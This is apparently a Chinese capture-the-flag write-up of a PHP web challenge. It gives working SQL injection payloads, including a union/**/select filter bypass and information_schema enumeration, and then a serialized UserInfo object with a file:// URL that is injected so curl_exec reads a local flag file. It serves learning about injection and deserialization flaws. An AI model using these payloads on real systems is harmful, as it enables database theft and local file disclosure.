image.png
    网站就一个login功能和一个join功能,先join一个账户,
    image.png
    主界面显示出来刚刚注册的账户信息image.png
    点进去之后发现下面有一个iframe,是blog所指向的网站。
    image.png
    刚开始猜测是ssrf,但是发现后台只允许http(s)://example.com形式的网站,但是此时注意到上方url是view.php?no=1的形式,于是试一下sql注入。
    image.png
    证明确实存在漏洞,接着order by,union select一直往下注,但是union select时页面提示no hack ~_~,说明有过滤,union/**/select即可绕过。
    查表:

    1. ?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

    image.png
    查列:

    1. ?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#

    image.png
    可以看到有4个字段,其中no、username、passwd都很好理解,也没什么用,关键在于第四个字段data,看一下里面有什么内容
    image.png
    根据回显得知data里面存放的是注册信息的序列化数据。
    但是题做到这就不知道该怎么利用了,后来看了wp才知道可以扫到一个robots.txt,但是由于buu平台禁止扫描,就很尴尬。。。
    查看robots.txt,里面内容

    1. User-agent: *
    2. Disallow: /user.php.bak

    再去查看user.php.bak,

    1. <?php
    2. class UserInfo
    3. {
    4. public $name = "";
    5. public $age = 0;
    6. public $blog = "";
    7. public function __construct($name, $age, $blog)
    8. {
    9. $this->name = $name;
    10. $this->age = (int)$age;
    11. $this->blog = $blog;
    12. }
    13. function get($url)
    14. {
    15. $ch = curl_init();
    16. curl_setopt($ch, CURLOPT_URL, $url);
    17. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    18. $output = curl_exec($ch);
    19. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    20. if($httpCode == 404) {
    21. return 404;
    22. }
    23. curl_close($ch);
    24. return $output;
    25. }
    26. public function getBlogContents ()
    27. {
    28. return $this->get($this->blog);
    29. }
    30. public function isValidBlog ()
    31. {
    32. $blog = $this->blog;
    33. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    34. }
    35. }

    从前面sql注入底部的报错来看,

    1. Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67

    网页会调用getBlogContents()来获取blog中的内容,再看get方法,里面是用过curl_exec方法来实现获取网页内容的,而curl_exec可以通过file://协议来读取本地文件内容。
    知道了这些东西后,就可以开始构造payload了:

    1. var_dump(serialize(new UserInfo('test',15,'file:///var/www/html/flag.php')));
    2. string(104) "O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:15;s:4:"blog";s:29:"file:///var/www/html/flag.php";}"

    将其通过sql注入的方式直接放在第四列即可,

    1. ?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:15;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users#

    访问后查看源码,iframe的src中的内容base64解码后就是flag.php的内容。
    image.png

    至于为什么可以通过sql注入的方式让网页解析用户传入的序列化对象,首先是view.php,

    1. $res = $db->getUserByNo($no);
    2. $user = unserialize($res['data']);

    首先是使用$db->getUserByNo来获取数据库中的序列化对象,但是当使用sql注入破坏原有的逻辑后,$res得到的就是我们所构造的序列化对象,然后程序调用unserialize反序列化我们传入的对象,下面再调用其中的getBlogContents方法。